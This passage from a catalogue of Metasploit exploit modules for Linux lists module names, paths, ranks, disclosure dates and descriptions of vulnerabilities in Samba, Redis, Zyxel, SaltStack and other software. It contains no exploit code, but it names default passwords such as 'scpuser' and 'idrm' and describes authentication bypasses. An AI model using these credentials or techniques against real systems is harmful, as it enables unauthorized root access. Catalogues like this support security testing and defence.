  vulnerability exists in the ndsd daemon, specifically in the NCP
service, while
  parsing a specially crafted Keyed Object Login request. It allows
remote code
  execution with root privileges.

End Exploit Number 466

Begin Exploit Number 467
       Name: OpenNMS Java Object Unserialization Remote Code Execution
     Module: exploit/linux/misc/opennms_java_serialize
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-11-06

Payload information:

Description:
  This module exploits a vulnerability in the OpenNMS Java object
which allows
```

```
  an unauthenticated attacker to run arbitrary code against the
system.

End Exploit Number 467

Begin Exploit Number 468
       Name: QNAP Transcode Server Command Execution
     Module: exploit/linux/misc/qnap_transcode_server
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-06

Payload information:

Description:
  This module exploits an unauthenticated remote command injection
  vulnerability in QNAP NAS devices. The transcoding server listens
  on port 9251 by default and is vulnerable to command injection
  using the 'rmfile' command.

  This module was tested successfully on a QNAP TS-431 with
  firmware version 4.3.3.0262 (20170727).

End Exploit Number 468

Begin Exploit Number 469
       Name: Quest Privilege Manager pmmasterd Buffer Overflow
     Module: exploit/linux/misc/quest_pmmasterd_bof
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-09

Payload information:

Description:
  This modules exploits a buffer overflow in the Quest Privilege
Manager,
  a software used to integrate Active Directory with Linux and Unix
  systems. The vulnerability exists in the pmmasterd daemon, and can
only
  triggered when the host has been configured as a policy server (
  Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
  condition exists when handling requests of type ACT_ALERT_EVENT,
where
```

```
  the size of a memcpy can be controlled by the attacker. This module
  only works against version < 6.0.0-27. Versions up to 6.0.0-50 are
also
  vulnerable, but not supported by this module (a stack cookie bypass
is
  required). NOTE: To use this module it is required to be able to
bind a
  privileged port ( <=1024 ) as the server refuses connections coming
  from unprivileged ports, which in most situations means that root
  privileges are required.

End Exploit Number 469

Begin Exploit Number 470
       Name: SaltStack Salt Master/Minion Unauthenticated RCE
     Module: exploit/linux/misc/saltstack_salt_unauth_rce
   Platform: Python, Unix
       Arch: python, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-04-30

Payload information:

Description:
  This module exploits unauthenticated access to the runner() and
  _send_pub() methods in the SaltStack Salt master's ZeroMQ request
  server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
  execute code as root on either the master or on select minions.

  VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
  well as Cisco Modeling Labs Corporate Edition (CML) and Cisco
Virtual
  Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
  1.3, 1.5, and 1.6 in certain configurations, are known to be
affected
  by the Salt vulnerabilities.

  Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04,
as
  well as Vulhub's Docker image.

End Exploit Number 470

Begin Exploit Number 471
       Name: SerComm Device Remote Code Execution
     Module: exploit/linux/misc/sercomm_exec
   Platform: Linux
       Arch:
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-12-31

Payload information:
  Space: 10000

Description:
  This module will cause remote code execution on several SerComm
devices.
  These devices typically include routers from NetGear and Linksys.
  This module was tested successfully against several NetGear,
Honeywell
  and Cisco devices.

End Exploit Number 471

Begin Exploit Number 472
       Name: TP-Link Archer A7/C7 Unauthenticated LAN Remote Code
Execution
     Module: exploit/linux/misc/tplink_archer_a7_c7_lan_rce
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-25

Payload information:

Description:
  This module exploits a command injection vulnerability in the
tdpServer daemon (/usr/bin/tdpServer), running on
  the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS
Architecture, firmware version 190726.
  The vulnerability can only be exploited by an attacker on the LAN
side of the router, but the attacker does
  not need any authentication to abuse it. After exploitation, an
attacker will be able to execute any command
  as root, including downloading and executing a binary from another
host.
  This vulnerability was discovered and exploited at Pwn2Own Tokyo
2019 by the Flashback team (Pedro Ribeiro +
  Radek Domanski).
  This module was updated in November 2020, after a bypass was
discovered for the patch TP-Link issued. The new
  injection technique works on older firmware too. All firmware
versions up to (but excluding) releases 201029 and
  201030 are exploitable.
```

```
End Exploit Number 472

Begin Exploit Number 473
       Name: Unitrends UEB bpserverd authentication bypass RCE
     Module: exploit/linux/misc/ueb9_bpserverd
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-08

Payload information:

Description:
  It was discovered that the Unitrends bpserverd proprietary protocol,
as exposed via xinetd,
  has an issue in which its authentication can be bypassed.  A remote
attacker could use this
  issue to execute arbitrary commands with root privilege on the
target system.

End Exploit Number 473

Begin Exploit Number 474
       Name: Rocket Software Unidata udadmin_server Authentication
Bypass
     Module: exploit/linux/misc/unidata_udadmin_auth_bypass
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-03-30

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in the
  Linux version of udadmin_server, which is an RPC service that comes
  with the Rocket Software UniData server. This affects versions of
  UniData prior to 8.2.4 build 3003.

  This service typically runs as root. It accepts a username of
  ":local:" and a password in the form of "<username>:<uid>:<gid>",
  where username and uid must be a valid account, but gid can be
  anything except 0.

  This exploit takes advantage of this login account to authenticate
  as a chosen user and run an arbitrary command (using the built-in
  OsCommand message).

End Exploit Number 474

Begin Exploit Number 475
       Name: Rocket Software Unidata udadmin_server Stack Buffer
Overflow in Password
     Module: exploit/linux/misc/
unidata_udadmin_password_stack_overflow
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2023-03-30

Payload information:

Description:
  This modlue exploits an authentication bypass vulnerability in the
  Linux version of udadmin_server, which is an RPC service that comes
  with the Rocket Software UniData server, which runs as root.

  This vulnerability affects UniData versions 8.2.4 build 3003 and
  earlier (for Linux), but this module specifically targets UniData
  version 8.2.4 build 3001. Other versions will crash the forked
  process, but will not otherwise affect the RPC server.

  The username and password fields are copied to a stack-based buffer
  using a function that's equivalent to strcpy() (ie, has no bounds
  checking). Additionally, the password field is encoded in such a way
  that we can include NUL bytes.

End Exploit Number 475

Begin Exploit Number 476
       Name: Zabbix Server Arbitrary Command Execution
     Module: exploit/linux/misc/zabbix_server_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2009-09-10

Payload information:

Description:
  This module abuses the "Command" trap in Zabbix Server to execute
```

```
arbitrary
  commands without authentication. By default the Node ID "0" is used,
if it doesn't
  work, the Node ID is leaked from the error message and exploitation
retried.

  According to the vendor versions prior to 1.6.9 are vulnerable. The
vulnerability
  has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.

End Exploit Number 476

Begin Exploit Number 477
       Name: Zyxel IKE Packet Decoder Unauthenticated Remote Code
Execution
     Module: exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2023-03-31

Payload information:

Description:
  This module exploits a remote unauthenticated command injection
vulnerability in the Internet Key Exchange
  (IKE) packet decoder over UDP port 500 on the WAN interface of
several Zyxel devices. The affected devices are
  as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX
(Firmware version 4.60 to 5.35 inclusive),
  VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG
(Firmware version 4.60 to 4.73 inclusive). The
  affected devices are vulnerable in a default configuration and
command execution is with root privileges.

End Exploit Number 477

Begin Exploit Number 478
       Name: Zyxel Unauthenticated LAN Remote Code Execution
     Module: exploit/linux/misc/zyxel_multiple_devices_zhttp_lan_rce
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2022-02-01

Payload information:
```

```
Description:
  This module exploits a buffer overflow in the zhttpd binary (/bin/
zhttpd). It is present on more than 40 Zyxel routers and CPE devices.
  The code execution vulnerability can only be exploited by an
attacker if the zhttp webserver is reachable.
  No authentication is required. After exploitation, an attacker will
be able to execute any command
  as root, including downloading and executing a binary from another
host.

End Exploit Number 478

Begin Exploit Number 479
       Name: MySQL yaSSL CertDecoder::GetName Buffer Overflow
     Module: exploit/linux/mysql/mysql_yassl_getname
   Platform: Linux
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-01-25

Payload information:
  Space: 1046
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in the yaSSL (1.9.8 and
earlier)
  implementation bundled with MySQL. By sending a specially crafted
  client certificate, an attacker can execute arbitrary code.

  This vulnerability is present within the CertDecoder::GetName
function inside
  "taocrypt/src/asn.cpp". However, the stack buffer that is written to
exists
  within a parent function's stack frame.

  NOTE: This vulnerability requires a non-default configuration.
First, the attacker
  must be able to pass the host-based authentication. Next, the server
must be
  configured to listen on an accessible network interface.  Lastly,
the server
  must have been manually configured to use SSL.

  The binary from version 5.5.0-m2 was built with /GS and /SafeSEH.
During testing
  on Windows XP SP3, these protections successfully prevented
```

```
exploitation.

  Testing was also done with mysql on Ubuntu 9.04. Although the
vulnerable code is
  present, both version 5.5.0-m2 built from source and version 5.0.75
from a binary
  package were not exploitable due to the use of the compiler's
FORTIFY feature.

  Although suse11 was mentioned in the original blog post, the binary
package they
  provide does not contain yaSSL or support SSL.

End Exploit Number 479

Begin Exploit Number 480
       Name: MySQL yaSSL SSL Hello Message Buffer Overflow
     Module: exploit/linux/mysql/mysql_yassl_hello
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-01-04

Payload information:
  Space: 100
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in the yaSSL (1.7.5 and
earlier)
  implementation bundled with MySQL <= 6.0. By sending a specially
crafted
  Hello packet, an attacker may be able to execute arbitrary code.

End Exploit Number 480

Begin Exploit Number 481
       Name: Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow
     Module: exploit/linux/pop3/cyrus_pop3d_popsubfolders
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2006-05-21

Payload information:
  Space: 250
```

```
Description:
  This exploit takes advantage of a stack based overflow.  Once the
stack
  corruption has occurred it is possible to overwrite a pointer which
is
  later used for a memcpy. This gives us a write anything anywhere
condition
  similar to a format string vulnerability.

  NOTE: The popsubfolders option is a non-default setting.

  I chose to overwrite the GOT with my shellcode and return to it.
This
  defeats the VA random patch and possibly other stack protection
features.

  Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships
with
  a version containing the vulnerable code, it is not exploitable due
to the
  use of the FORTIFY_SOURCE compiler enhancement

End Exploit Number 481

Begin Exploit Number 482
       Name: PostgreSQL for Linux Payload Execution
     Module: exploit/linux/postgres/postgres_payload
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2007-06-05

Payload information:
  Space: 65535

Description:
  On some default Linux installations of PostgreSQL, the
  postgres service account may write to the /tmp directory, and
  may source UDF Shared Libraries from there as well, allowing
  execution of arbitrary code.

  This module compiles a Linux shared object file, uploads it to
  the target host via the UPDATE pg_largeobject method of binary
  injection, and creates a UDF (user defined function) from that
  shared object. Because the payload is run as the shared object's
  constructor, it does not need to conform to specific Postgres
  API versions.
```

```
End Exploit Number 482

Begin Exploit Number 483
       Name: Poptop Negative Read Overflow
     Module: exploit/linux/pptp/poptop_negative_read
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-04-09

Payload information:
  Space: 220

Description:
  This is an exploit for the Poptop negative read overflow.  This will
  work against versions prior to 1.1.3-b3 and 1.1.3-20030409, but I
  currently do not have a good way to detect Poptop versions.

  The server will by default only allow 4 concurrent manager processes
  (what we run our code in), so you could have a max of 4 shells at
once.

  Using the current method of exploitation, our socket will be closed
  before we have the ability to run code, preventing the use of
Findsock.

End Exploit Number 483

Begin Exploit Number 484
       Name: Squid NTLM Authenticate Overflow
     Module: exploit/linux/proxy/squid_ntlm_authenticate
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2004-06-08

Payload information:
  Space: 256

Description:
  This is an exploit for Squid\'s NTLM authenticate overflow
  (libntlmssp.c). Due to improper bounds checking in
  ntlm_check_auth, it is possible to overflow the 'pass'
  variable on the stack with user controlled data of a user
  defined length.  Props to iDEFENSE for the advisory.
```

```
End Exploit Number 484

Begin Exploit Number 485
       Name: Redis Lua Sandbox Escape
     Module: exploit/linux/redis/redis_debian_sandbox_escape
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-18

Payload information:

Description:
  This module exploits CVE-2022-0543, a Lua-based Redis sandbox
escape. The
  vulnerability was introduced by Debian and Ubuntu Redis packages
that
  insufficiently sanitized the Lua environment. The maintainers failed
to
  disable the package interface, allowing attackers to load arbitrary
libraries.

  On a typical `redis` deployment (not docker), this module achieves
execution
  as the `redis` user. Debian/Ubuntu packages run Redis using systemd
with the
  "MemoryDenyWriteExecute" permission, which limits some of what an
attacker can
  do. For example, staged meterpreter will fail when attempting to use
mprotect.
  As such, stageless meterpreter is the preferred payload.

  Redis can be configured with authentication or not. This module will
work with
  either configuration (provided you provide the correct
authentication details).
  This vulnerability could theoretically be exploited across a few
architectures:
  i386, arm, ppc, etc. However, the module only supports x86_64, which
is likely
  to be the most popular version.

End Exploit Number 485

Begin Exploit Number 486
       Name: Redis Replication Code Execution
     Module: exploit/linux/redis/redis_replication_cmd_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-11-13

Payload information:

Description:
  This module can be used to leverage the extension functionality 
added since Redis 4.0.0
  to execute arbitrary code. To transmit the given extension it makes 
use of the feature of Redis
  which called replication between master and slave.

End Exploit Number 486

Begin Exploit Number 487
       Name: Samba chain_reply Memory Corruption (Linux x86)
     Module: exploit/linux/samba/chain_reply
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-06-16

Payload information:
  Space: 1536
  Avoid: 0 characters

Description:
  This exploits a memory corruption vulnerability present in Samba 
versions
  prior to 3.3.13. When handling chained response packets, Samba fails 
to validate
  the offset value used when building the next part. By setting this 
value to a
  number larger than the destination buffer size, an attacker can 
corrupt memory.
  Additionally, setting this value to a value smaller than 'smb_wct' 
(0x24) will
  cause the header of the input buffer chunk to be corrupted.

  After close inspection, it appears that 3.0.x versions of Samba are 
not
  exploitable. Since they use an "InputBuffer" size of 0x20441, an 
attacker cannot
  cause memory to be corrupted in an exploitable way. It is possible
```

```
to corrupt the
  heap header of the "InputBuffer", but it didn't seem possible to get
the chunk
  to be processed again prior to process exit.

  In order to gain code execution, this exploit attempts to overwrite
a "talloc
  chunk" destructor function pointer.

  This particular module is capable of exploiting the flaw on x86
Linux systems
  that do not have the nx memory protection.

  NOTE: It is possible to make exploitation attempts indefinitely
since Samba forks
  for user sessions in the default configuration.

End Exploit Number 487

Begin Exploit Number 488
       Name: Samba is_known_pipename() Arbitrary Module Load
     Module: exploit/linux/samba/is_known_pipename
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-24

Payload information:
  Space: 9000

Description:
  This module triggers an arbitrary shared library load vulnerability
  in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
  requires valid credentials, a writeable folder in an accessible
share,
  and knowledge of the server-side path of the writeable folder. In
  some cases, anonymous access combined with common filesystem
locations
  can be used to automatically exploit this vulnerability.

End Exploit Number 488

Begin Exploit Number 489
       Name: Samba lsa_io_trans_names Heap Overflow
     Module: exploit/linux/samba/lsa_transnames_heap
   Platform: Linux
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-05-14

Payload information:
  Space: 1024

Description:
  This module triggers a heap overflow in the LSA RPC service
  of the Samba daemon. This module uses the TALLOC chunk overwrite
  method (credit Ramon and Adriano), which only works with Samba
  versions 3.0.21-3.0.24. Additionally, this module will not work
  when the Samba "log level" parameter is higher than "2".

End Exploit Number 489

Begin Exploit Number 490
       Name: Samba SetInformationPolicy AuditEventsInfo Heap Overflow
     Module: exploit/linux/samba/setinfopolicy_heap
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-10

Payload information:
  Space: 600

Description:
  This module triggers a vulnerability in the LSA RPC service of the
Samba daemon
  because of an error on the PIDL auto-generated code. Making a
specially crafted
  call to SetInformationPolicy to set a PolicyAuditEventsInformation
allows to
  trigger a heap overflow and finally execute arbitrary code with root
privileges.

  The module uses brute force to guess the stackpivot/rop chain or the
system()
  address and redirect flow there in order to bypass NX. The start and
stop addresses
  for brute forcing have been calculated empirically. On the other
hand the module
  provides the StartBrute and StopBrute which allow the user to
configure his own
  addresses.

End Exploit Number 490
```

```
Begin Exploit Number 491
       Name: Samba trans2open Overflow (Linux x86)
     Module: exploit/linux/samba/trans2open
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-04-07

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This exploits the buffer overflow found in Samba versions
  2.2.0 to 2.2.8. This particular module is capable of
  exploiting the flaw on x86 Linux systems that do not
  have the noexec stack option set.

  NOTE: Some older versions of RedHat do not seem to be vulnerable
  since they apparently do not allow anonymous access to IPC.

End Exploit Number 491

Begin Exploit Number 492
       Name: Apache James Server 2.3.2 Insecure User Creation
Arbitrary File Write
     Module: exploit/linux/smtp/apache_james_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-10-01

Payload information:

Description:
  This module exploits a vulnerability that exists due to a lack of
input
  validation when creating a user. Messages for a given user are
stored
  in a directory partially defined by the username. By creating a user
  with a directory traversal payload as the username, commands can be
  written to a given directory. To use this module with the cron
  exploitation method, run the exploit using the given payload, host,
and
  port. After running the exploit, the payload will be executed within
```

```
60
  seconds. Due to differences in how cron may run in certain Linux
  operating systems such as Ubuntu, it may be preferable to set the
  target to Bash Completion as the cron method may not work. If the
target
  is set to Bash completion, start a listener using the given payload,
  host, and port before running the exploit. After running the
exploit,
  the payload will be executed when a user logs into the system. For
this
  exploitation method, bash completion must be enabled to gain code
  execution. This exploitation method will leave an Apache James mail
  object artifact in the /etc/bash_completion.d directory and the
  malicious user account.

End Exploit Number 492

Begin Exploit Number 493
       Name: Exim and Dovecot Insecure Configuration Command Injection
     Module: exploit/linux/smtp/exim4_dovecot_exec
   Platform: Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-05-03

Payload information:

Description:
  This module exploits a command injection vulnerability against
Dovecot with
  Exim using the "use_shell" option. It uses the sender's address to
inject arbitrary
  commands, since this is one of the user-controlled variables. It has
been
  successfully tested on Debian Squeeze using the default Exim4 with
the dovecot-common
  packages.

End Exploit Number 493

Begin Exploit Number 494
       Name: Exim GHOST (glibc gethostbyname) Buffer Overflow
     Module: exploit/linux/smtp/exim_gethostbyname_bof
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2015-01-27

Payload information:
  Space: 255
  Avoid: 0 characters

Description:
  This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
  buffer overflow in the GNU C Library's gethostbyname functions on
x86
  and x86_64 GNU/Linux systems that run the Exim mail server.

End Exploit Number 494

Begin Exploit Number 495
       Name: Haraka SMTP Command Injection
     Module: exploit/linux/smtp/haraka
   Platform: Linux
       Arch: x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-01-26

Payload information:

Description:
  The Haraka SMTP server comes with a plugin for processing
attachments.
  Versions before 2.8.9 can be vulnerable to command injection

End Exploit Number 495

Begin Exploit Number 496
       Name: AwindInc SNMP Service Command Injection
     Module: exploit/linux/snmp/awind_snmp_exec
   Platform: Unix, Linux
       Arch: cmd, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-27

Payload information:

Description:
  This module exploits a vulnerability found in AwindInc and OEM'ed
products where untrusted inputs are fed to ftpfw.sh system command,
leading to command injection.
  A valid SNMP read-write community is required to exploit this
```

```
vulnerability.

  The following devices are known to be affected by this issue:

    * Crestron Airmedia AM-100 <= version 1.5.0.4
    * Crestron Airmedia AM-101 <= version 2.5.0.12
    * Awind WiPG-1600w <= version 2.0.1.8
    * Awind WiPG-2000d <= version 2.1.6.2
    * Barco wePresent 2000 <= version 2.1.5.7
    * Newline Trucast 2 <= version 2.1.0.5
    * Newline Trucast 3 <= version 2.1.3.7

End Exploit Number 496

Begin Exploit Number 497
       Name: Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code
execution
     Module: exploit/linux/snmp/net_snmpd_rw_access
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2004-05-10

Payload information:
  Space: 4096

Description:
  This exploit module exploits the SNMP write access configuration
ability of SNMP-EXTEND-MIB to
  configure MIB extensions and lead to remote code execution.

End Exploit Number 497

Begin Exploit Number 498
       Name: Ceragon FibeAir IP-10 SSH Private Key Exposure
     Module: exploit/linux/ssh/ceragon_fibeair_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-04-01

Payload information:

Description:
  Ceragon ships a public/private key pair on FibeAir IP-10 devices
  that allows passwordless authentication to any other IP-10 device.
  Since the key is easily retrievable, an attacker can use it to
  gain unauthorized remote access as the "mateidu" user.

End Exploit Number 498

Begin Exploit Number 499
       Name: Cisco UCS Director default scpuser password
     Module: exploit/linux/ssh/cisco_ucs_scpuser
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-21

Payload information:

Description:
  This module abuses a known default password on Cisco UCS Director.
The 'scpuser'
  has the password of 'scpuser', and allows an attacker to login to
the virtual appliance
  via SSH.
  This module  has been tested with Cisco UCS Director virtual
machines 6.6.0 and 6.7.0.
  Note that Cisco also mentions in their advisory that their IMC
Supervisor and
  UCS Director Express are also affected by these vulnerabilities, but
this module
  was not tested with those products.

End Exploit Number 499

Begin Exploit Number 500
       Name: ExaGrid Known SSH Key and Default Password
     Module: exploit/linux/ssh/exagrid_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-07

Payload information:

Description:
  ExaGrid ships a public/private key pair on their backup appliances
to
  allow passwordless authentication to other ExaGrid appliances.
Since
```

```
  the private key is easily retrievable, an attacker can use it to
gain
  unauthorized remote access as root. Additionally, this module will
  attempt to use the default password for root, 'inflection'.

End Exploit Number 500

Begin Exploit Number 501
       Name: F5 BIG-IP SSH Private Key Exposure
     Module: exploit/linux/ssh/f5_bigip_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-11

Payload information:

Description:
  F5 ships a public/private key pair on BIG-IP appliances that allows
  passwordless authentication to any other BIG-IP box. Since the key
is
  easily retrievable, an attacker can use it to gain unauthorized
remote
  access as root.

End Exploit Number 501

Begin Exploit Number 502
       Name: IBM Data Risk Manager a3user Default Password
     Module: exploit/linux/ssh/ibm_drm_a3user
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-21

Payload information:

Description:
  This module abuses a known default password in IBM Data Risk
Manager. The 'a3user'
  has the default password 'idrm' and allows an attacker to log in to
the virtual appliance
  via SSH. This can be escalate to full root access, as 'a3user' has
sudo access with the default password.
  At the time of disclosure this was an 0day, but it was later
confirmed and patched by IBM.
```

```
  Versions <= 2.0.6.1 are confirmed to be vulnerable.

End Exploit Number 502

Begin Exploit Number 503
       Name: Loadbalancer.org Enterprise VA SSH Private Key Exposure
     Module: exploit/linux/ssh/
loadbalancerorg_enterprise_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-17

Payload information:

Description:
  Loadbalancer.org ships a public/private key pair on Enterprise
virtual appliances
  version 7.5.2 that allows passwordless authentication to any other
LB Enterprise box.
  Since the key is easily retrievable, an attacker can use it to gain
unauthorized remote
  access as root.

End Exploit Number 503

Begin Exploit Number 504
       Name: Mercurial Custom hg-ssh Wrapper Remote Code Exec
     Module: exploit/linux/ssh/mercurial_ssh_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-18

Payload information:

Description:
  This module takes advantage of custom hg-ssh wrapper implementations
that don't
  adequately validate parameters passed to the hg binary, allowing
users to trigger a
  Python Debugger session, which allows arbitrary Python code
execution.

End Exploit Number 504
```

```
Begin Exploit Number 505
       Name: Micro Focus Operations Bridge Reporter shrboadmin default
password
     Module: exploit/linux/ssh/microfocus_obr_shrboadmin
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-21

Payload information:

Description:
  This module abuses a known default password on Micro Focus
Operations Bridge Reporter.
  The 'shrboadmin' user, installed by default by the product has the
password of 'shrboadmin',
  and allows an attacker to login to the server via SSH.
  This module has been tested with Micro Focus Operations Bridge
Manager 10.40. Earlier
  versions are most likely affected too.
  Note that this is only exploitable in Linux installations.

End Exploit Number 505

Begin Exploit Number 506
       Name: Quantum DXi V1000 SSH Private Key Exposure
     Module: exploit/linux/ssh/quantum_dxi_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-17

Payload information:

Description:
  Quantum ships a public/private key pair on DXi V1000 2.2.1
appliances that
  allows passwordless authentication to any other DXi box. Since the
key is
  easily retrievable, an attacker can use it to gain unauthorized
remote
  access as root.

End Exploit Number 506

Begin Exploit Number 507
```

```
       Name: Quantum vmPRO Backdoor Command
     Module: exploit/linux/ssh/quantum_vmpro_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-03-17

Payload information:

Description:
  This module abuses a backdoor command in Quantum vmPRO. Any user,
even one without admin
  privileges, can get access to the restricted SSH shell. By using the
hidden backdoor
  "shell-escape" command it's possible to drop to a real root bash
shell. This module
  has been tested successfully on Quantum vmPRO 3.1.2.

End Exploit Number 507

Begin Exploit Number 508
       Name: SolarWinds LEM Default SSH Password Remote Code Execution
     Module: exploit/linux/ssh/solarwinds_lem_exec
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-17

Payload information:

Description:
  This module exploits the default credentials of SolarWinds LEM. A
menu system is encountered when the SSH
  service is accessed with the default username and password which is
"cmc" and "password". By exploiting a
  vulnerability that exist on the menuing script, an attacker can
escape from restricted shell.

  This module was tested against SolarWinds LEM v6.3.1.

End Exploit Number 508

Begin Exploit Number 509
       Name: Symantec Messaging Gateway 9.5 Default SSH Password
Vulnerability
     Module: exploit/linux/ssh/symantec_smg_ssh
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-27

Payload information:

Description:
  This module exploits a default misconfiguration flaw on Symantec
Messaging Gateway.
  The 'support' user has a known default password, which can be used
to login to the
  SSH service, and gain privileged access from remote.

End Exploit Number 509

Begin Exploit Number 510
       Name: VMware VDP Known SSH Key
     Module: exploit/linux/ssh/vmware_vdp_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-20

Payload information:

Description:
  VMware vSphere Data Protection appliances 5.5.x through 6.1.x
contain a known ssh private key for the local user admin who is a
sudoer without password.

End Exploit Number 510

Begin Exploit Number 511
       Name: VMWare Aria Operations for Networks (vRealize Network
Insight) SSH Private Key Exposure
     Module: exploit/linux/ssh/vmware_vrni_known_privkey
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-29

Payload information:
```

```
Description:
  VMWare Aria Operations for Networks (vRealize Network Insight)
versions 6.0.0 through 6.10.0
  do not randomize the SSH keys on virtual machine initialization.
Since the key is easily
  retrievable, an attacker can use it to gain unauthorized remote
access as the "support" (root) user.

End Exploit Number 511

Begin Exploit Number 512
       Name: VyOS restricted-shell Escape and Privilege Escalation
     Module: exploit/linux/ssh/vyos_restricted_shell_privesc
   Platform: Unix
       Arch: cmd
 Privileged: Yes
